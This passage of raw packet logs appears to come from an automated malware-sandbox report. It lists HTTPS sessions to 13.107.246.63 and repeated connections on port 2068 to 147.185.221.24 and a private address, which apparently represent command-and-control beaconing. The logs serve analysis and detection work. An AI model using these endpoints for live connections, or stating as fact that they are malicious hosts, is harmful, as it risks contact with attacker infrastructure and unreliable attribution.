Nov 23, 2024 21:14:08.323750019 CET	50087	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:08.323750019 CET	50087	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:08.323781967 CET	443	50087	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:08.598812103 CET	443	50085	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:08.599390030 CET	50085	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:08.599415064 CET	443	50085	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:08.603554010 CET	50085	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:08.603563070 CET	443	50085	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:08.795402050 CET	443	50082	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:08.795465946 CET	443	50082	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:08.795509100 CET	443	50082	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:08.795641899 CET	50082	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:08.795641899 CET	50082	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:08.795660019 CET	443	50082	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:08.795948982 CET	50082	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:08.844578028 CET	443	50083	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:08.844609976 CET	443	50083	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:08.844672918 CET	443	50083	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:08.844894886 CET	50083	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:08.845017910 CET	50083	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:08.845017910 CET	50083	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:08.845035076 CET	443	50083	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:08.845043898 CET	443	50083	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:08.847882032 CET	50088	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:08.847913980 CET	443	50088	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:08.850719929 CET	50088	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:08.851138115 CET	50088	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:08.851146936 CET	443	50088	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:08.885565996 CET	443	50086	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:08.886543036 CET	50086	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:08.886543036 CET	50086	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:08.886564970 CET	443	50086	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:08.886581898 CET	443	50086	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:08.955918074 CET	443	50082	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:08.956029892 CET	443	50082	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:08.956080914 CET	50082	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:08.956212997 CET	50082	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:08.956212997 CET	50082	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:08.956228971 CET	443	50082	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:08.956264973 CET	50082	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:08.956271887 CET	443	50082	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:08.961699009 CET	50089	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:08.961764097 CET	443	50089	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:08.966006041 CET	50089	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:08.966191053 CET	50089	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:08.966209888 CET	443	50089	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:09.160887957 CET	443	50085	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:09.160954952 CET	443	50085	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:09.161031008 CET	443	50085	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:09.161058903 CET	50085	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:09.161084890 CET	443	50085	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:09.161113024 CET	50085	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:09.161134958 CET	50085	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:09.369349957 CET	443	50086	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:09.369443893 CET	443	50086	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:09.369518995 CET	50086	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:09.369533062 CET	443	50086	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:09.369597912 CET	50086	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:09.369612932 CET	443	50086	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:09.369657040 CET	50086	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:09.369760036 CET	50086	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:09.369777918 CET	443	50086	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:09.369787931 CET	50086	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:09.369801998 CET	443	50086	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:09.373120070 CET	50090	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:09.373152018 CET	443	50090	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:09.373214960 CET	50090	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:09.373420954 CET	50090	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:09.373433113 CET	443	50090	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:09.380085945 CET	443	50085	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:09.380121946 CET	443	50085	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:09.380166054 CET	50085	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:09.380172968 CET	443	50085	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:09.380198956 CET	50085	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:09.380213022 CET	443	50085	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:09.380239010 CET	50085	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:09.380256891 CET	50085	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:09.380260944 CET	443	50085	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:09.380316019 CET	50085	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:09.380322933 CET	443	50085	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:09.380333900 CET	50085	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:09.380341053 CET	443	50085	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:09.380347013 CET	443	50085	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:09.383116007 CET	50091	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:09.383162022 CET	443	50091	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:09.383234024 CET	50091	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:09.383380890 CET	50091	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:09.383399963 CET	443	50091	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:10.305479050 CET	443	50087	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:10.306310892 CET	50087	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:10.306349039 CET	443	50087	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:10.306788921 CET	50087	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:10.306798935 CET	443	50087	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:10.654172897 CET	443	50088	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:10.654762030 CET	50088	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:10.654791117 CET	443	50088	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:10.655204058 CET	50088	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:10.655210018 CET	443	50088	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:10.809061050 CET	443	50087	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:10.809087992 CET	443	50087	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:10.811855078 CET	50087	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:10.811880112 CET	443	50087	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:10.813107014 CET	443	50087	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:10.813210964 CET	50087	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:10.813210964 CET	50087	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:10.813276052 CET	50087	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:10.813292980 CET	443	50087	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:10.815926075 CET	50092	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:10.815979004 CET	443	50092	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:10.819734097 CET	50092	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:10.819900990 CET	50092	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:10.819921017 CET	443	50092	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:10.847260952 CET	443	50089	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:10.848067999 CET	50089	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:10.848103046 CET	443	50089	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:10.848543882 CET	50089	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:10.848552942 CET	443	50089	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:11.132879972 CET	443	50088	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:11.135689020 CET	443	50088	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:11.135751963 CET	50088	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:11.135790110 CET	50088	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:11.135804892 CET	443	50088	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:11.135831118 CET	50088	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:11.135838032 CET	443	50088	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:11.139544964 CET	50093	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:11.139590025 CET	443	50093	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:11.139650106 CET	50093	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:11.139847994 CET	50093	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:11.139859915 CET	443	50093	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:11.228274107 CET	443	50090	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:11.228857040 CET	50090	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:11.228878021 CET	443	50090	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:11.230043888 CET	50090	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:11.230050087 CET	443	50090	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:11.332927942 CET	443	50089	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:11.333089113 CET	443	50089	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:11.333148956 CET	50089	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:11.333362103 CET	50089	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:11.333389997 CET	443	50089	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:11.333403111 CET	50089	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:11.333410978 CET	443	50089	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:11.337285995 CET	50094	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:11.337326050 CET	443	50094	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:11.337378979 CET	50094	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:11.337505102 CET	50094	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:11.337517023 CET	443	50094	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:11.483530998 CET	443	50091	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:11.484155893 CET	50091	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:11.484208107 CET	443	50091	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:11.485055923 CET	50091	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:11.485069036 CET	443	50091	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:11.672600985 CET	50084	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:14:11.716563940 CET	443	50090	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:11.716757059 CET	443	50090	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:11.716808081 CET	50090	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:11.716937065 CET	50090	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:11.716958046 CET	443	50090	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:11.716989994 CET	50090	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:11.716995001 CET	443	50090	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:11.721209049 CET	50095	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:11.721230984 CET	443	50095	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:11.721286058 CET	50095	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:11.721566916 CET	50095	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:11.721575975 CET	443	50095	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:11.796171904 CET	2068	50084	147.185.221.24	192.168.2.4
Nov 23, 2024 21:14:11.796228886 CET	50084	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:14:11.915786982 CET	2068	50084	147.185.221.24	192.168.2.4
Nov 23, 2024 21:14:11.915903091 CET	50084	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:14:11.945981979 CET	443	50091	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:11.949126005 CET	443	50091	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:11.949179888 CET	50091	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:11.949254036 CET	50091	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:11.949281931 CET	443	50091	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:11.949295998 CET	50091	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:11.949304104 CET	443	50091	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:11.952861071 CET	50096	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:11.952891111 CET	443	50096	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:11.952948093 CET	50096	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:11.953135014 CET	50096	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:11.953151941 CET	443	50096	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:12.037736893 CET	2068	50084	147.185.221.24	192.168.2.4
Nov 23, 2024 21:14:12.717346907 CET	443	50092	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:12.718307972 CET	50092	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:12.718307972 CET	50092	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:12.718333960 CET	443	50092	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:12.718349934 CET	443	50092	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:12.928129911 CET	443	50093	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:12.932075977 CET	50093	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:12.932106972 CET	443	50093	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:12.932615042 CET	50093	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:12.932620049 CET	443	50093	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:13.145737886 CET	443	50094	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:13.146550894 CET	50094	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:13.146595955 CET	443	50094	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:13.147077084 CET	50094	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:13.147083998 CET	443	50094	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:13.176387072 CET	443	50092	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:13.179523945 CET	443	50092	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:13.179579973 CET	50092	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:13.179584026 CET	443	50092	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:13.179625988 CET	50092	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:13.179699898 CET	50092	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:13.179718971 CET	443	50092	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:13.179730892 CET	50092	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:13.179737091 CET	443	50092	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:13.413906097 CET	443	50093	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:13.414086103 CET	443	50093	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:13.414148092 CET	50093	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:13.414344072 CET	50093	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:13.414360046 CET	443	50093	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:13.414370060 CET	50093	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:13.414375067 CET	443	50093	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:13.563606977 CET	50084	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:14:13.626595020 CET	443	50095	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:13.627821922 CET	50095	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:13.627840042 CET	443	50095	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:13.628293037 CET	50095	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:13.628298044 CET	443	50095	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:13.638803959 CET	443	50094	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:13.639571905 CET	443	50094	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:13.639616966 CET	50094	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:13.639734030 CET	50094	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:13.639755964 CET	443	50094	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:13.639770985 CET	50094	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:13.639777899 CET	443	50094	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:13.685501099 CET	2068	50084	147.185.221.24	192.168.2.4
Nov 23, 2024 21:14:13.822793007 CET	443	50096	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:13.823436975 CET	50096	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:13.823477983 CET	443	50096	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:13.824080944 CET	50096	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:13.824089050 CET	443	50096	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:14.081357956 CET	443	50095	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:14.084321022 CET	443	50095	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:14.084427118 CET	50095	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:14.084427118 CET	50095	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:14.084455013 CET	50095	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:14.084459066 CET	443	50095	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:14.269197941 CET	443	50096	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:14.269393921 CET	443	50096	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:14.269468069 CET	50096	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:14.270791054 CET	50096	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:14.270791054 CET	50096	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:14:14.270807981 CET	443	50096	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:14.270818949 CET	443	50096	13.107.246.63	192.168.2.4
Nov 23, 2024 21:14:17.174180031 CET	50084	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:14:17.294181108 CET	2068	50084	147.185.221.24	192.168.2.4
Nov 23, 2024 21:14:22.031693935 CET	50084	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:14:22.151566029 CET	2068	50084	147.185.221.24	192.168.2.4
Nov 23, 2024 21:14:22.155680895 CET	50084	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:14:22.282141924 CET	2068	50084	147.185.221.24	192.168.2.4
Nov 23, 2024 21:14:27.094265938 CET	50084	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:14:27.243422031 CET	2068	50084	147.185.221.24	192.168.2.4
Nov 23, 2024 21:14:27.243493080 CET	50084	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:14:27.363221884 CET	2068	50084	147.185.221.24	192.168.2.4
Nov 23, 2024 21:14:28.455013990 CET	2068	50084	147.185.221.24	192.168.2.4
Nov 23, 2024 21:14:28.455180883 CET	50084	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:14:32.189810038 CET	50097	2068	192.168.2.4	192.168.68.139
Nov 23, 2024 21:14:32.189815998 CET	50084	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:14:32.316015959 CET	2068	50097	192.168.68.139	192.168.2.4
Nov 23, 2024 21:14:32.316031933 CET	2068	50084	147.185.221.24	192.168.2.4
Nov 23, 2024 21:14:32.316144943 CET	50097	2068	192.168.2.4	192.168.68.139
Nov 23, 2024 21:14:32.489151001 CET	50097	2068	192.168.2.4	192.168.68.139
Nov 23, 2024 21:14:32.608644009 CET	2068	50097	192.168.68.139	192.168.2.4
Nov 23, 2024 21:14:36.344644070 CET	50097	2068	192.168.2.4	192.168.68.139
Nov 23, 2024 21:14:36.464235067 CET	2068	50097	192.168.68.139	192.168.2.4
Nov 23, 2024 21:14:37.660358906 CET	50097	2068	192.168.2.4	192.168.68.139
Nov 23, 2024 21:14:37.785455942 CET	2068	50097	192.168.68.139	192.168.2.4
Nov 23, 2024 21:14:37.785514116 CET	50097	2068	192.168.2.4	192.168.68.139
Nov 23, 2024 21:14:37.904998064 CET	2068	50097	192.168.68.139	192.168.2.4
Nov 23, 2024 21:14:37.905045033 CET	50097	2068	192.168.2.4	192.168.68.139
Nov 23, 2024 21:14:38.024584055 CET	2068	50097	192.168.68.139	192.168.2.4
Nov 23, 2024 21:14:39.187947035 CET	50097	2068	192.168.2.4	192.168.68.139
Nov 23, 2024 21:14:39.307626009 CET	2068	50097	192.168.68.139	192.168.2.4
Nov 23, 2024 21:14:46.015909910 CET	50097	2068	192.168.2.4	192.168.68.139
Nov 23, 2024 21:14:46.135719061 CET	2068	50097	192.168.68.139	192.168.2.4
Nov 23, 2024 21:14:47.343992949 CET	50097	2068	192.168.2.4	192.168.68.139
Nov 23, 2024 21:14:47.545214891 CET	2068	50097	192.168.68.139	192.168.2.4
Nov 23, 2024 21:14:47.953352928 CET	50097	2068	192.168.2.4	192.168.68.139
Nov 23, 2024 21:14:48.073477983 CET	2068	50097	192.168.68.139	192.168.2.4
Nov 23, 2024 21:14:48.073533058 CET	50097	2068	192.168.2.4	192.168.68.139
Nov 23, 2024 21:14:48.193139076 CET	2068	50097	192.168.68.139	192.168.2.4
Nov 23, 2024 21:14:53.126106977 CET	50097	2068	192.168.2.4	192.168.68.139
Nov 23, 2024 21:14:53.245747089 CET	2068	50097	192.168.68.139	192.168.2.4
Nov 23, 2024 21:14:53.245898008 CET	50097	2068	192.168.2.4	192.168.68.139
Nov 23, 2024 21:14:53.366044044 CET	2068	50097	192.168.68.139	192.168.2.4
Nov 23, 2024 21:14:53.366123915 CET	50097	2068	192.168.2.4	192.168.68.139
Nov 23, 2024 21:14:53.485790014 CET	2068	50097	192.168.68.139	192.168.2.4
Nov 23, 2024 21:14:54.314997911 CET	2068	50097	192.168.68.139	192.168.2.4
Nov 23, 2024 21:14:54.317811966 CET	50097	2068	192.168.2.4	192.168.68.139
Nov 23, 2024 21:14:58.345398903 CET	50097	2068	192.168.2.4	192.168.68.139
Nov 23, 2024 21:14:58.347959042 CET	50098	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:14:58.471779108 CET	2068	50097	192.168.68.139	192.168.2.4
Nov 23, 2024 21:14:58.474242926 CET	2068	50098	147.185.221.24	192.168.2.4
Nov 23, 2024 21:14:58.474463940 CET	50098	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:14:58.526102066 CET	50098	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:14:58.645637989 CET	2068	50098	147.185.221.24	192.168.2.4
Nov 23, 2024 21:14:59.422543049 CET	50098	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:14:59.548571110 CET	2068	50098	147.185.221.24	192.168.2.4
Nov 23, 2024 21:14:59.548615932 CET	50098	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:14:59.674194098 CET	2068	50098	147.185.221.24	192.168.2.4
Nov 23, 2024 21:14:59.674246073 CET	50098	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:15:00.025989056 CET	50098	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:15:00.085906982 CET	2068	50098	147.185.221.24	192.168.2.4
Nov 23, 2024 21:15:00.086033106 CET	50098	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:15:00.205847025 CET	2068	50098	147.185.221.24	192.168.2.4
Nov 23, 2024 21:15:00.206043959 CET	2068	50098	147.185.221.24	192.168.2.4
Nov 23, 2024 21:15:02.127418995 CET	50098	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:15:02.247107983 CET	2068	50098	147.185.221.24	192.168.2.4
Nov 23, 2024 21:15:06.052436113 CET	50098	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:15:06.172085047 CET	2068	50098	147.185.221.24	192.168.2.4
Nov 23, 2024 21:15:19.063771009 CET	50098	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:15:19.183655024 CET	2068	50098	147.185.221.24	192.168.2.4
Nov 23, 2024 21:15:20.425838947 CET	2068	50098	147.185.221.24	192.168.2.4
Nov 23, 2024 21:15:20.431786060 CET	50098	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:15:25.094183922 CET	50098	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:15:25.097933054 CET	50099	2068	192.168.2.4	192.168.68.139
Nov 23, 2024 21:15:25.315685987 CET	2068	50098	147.185.221.24	192.168.2.4
Nov 23, 2024 21:15:25.315798044 CET	2068	50099	192.168.68.139	192.168.2.4
Nov 23, 2024 21:15:25.315953970 CET	50099	2068	192.168.2.4	192.168.68.139
Nov 23, 2024 21:15:25.361649036 CET	50099	2068	192.168.2.4	192.168.68.139
Nov 23, 2024 21:15:25.601110935 CET	2068	50099	192.168.68.139	192.168.2.4
Nov 23, 2024 21:15:25.601171970 CET	50099	2068	192.168.2.4	192.168.68.139
Nov 23, 2024 21:15:25.720860958 CET	2068	50099	192.168.68.139	192.168.2.4
Nov 23, 2024 21:15:31.359924078 CET	50099	2068	192.168.2.4	192.168.68.139
Nov 23, 2024 21:15:31.484926939 CET	2068	50099	192.168.68.139	192.168.2.4
Nov 23, 2024 21:15:35.828454971 CET	50099	2068	192.168.2.4	192.168.68.139
Nov 23, 2024 21:15:36.275794983 CET	2068	50099	192.168.68.139	192.168.2.4
Nov 23, 2024 21:15:36.275950909 CET	50099	2068	192.168.2.4	192.168.68.139
Nov 23, 2024 21:15:36.884859085 CET	2068	50099	192.168.68.139	192.168.2.4
Nov 23, 2024 21:15:37.281738043 CET	50099	2068	192.168.2.4	192.168.68.139
Nov 23, 2024 21:15:37.473731995 CET	2068	50099	192.168.68.139	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 23, 2024 21:11:11.157284021 CET	49552	53	192.168.2.4	1.1.1.1
Nov 23, 2024 21:11:11.157284021 CET	56178	53	192.168.2.4	1.1.1.1
Nov 23, 2024 21:11:11.300151110 CET	53	63196	1.1.1.1	192.168.2.4
Nov 23, 2024 21:11:11.302783012 CET	53	49552	1.1.1.1	192.168.2.4
Nov 23, 2024 21:11:11.321862936 CET	53	56284	1.1.1.1	192.168.2.4
Nov 23, 2024 21:11:11.391241074 CET	53	56178	1.1.1.1	192.168.2.4
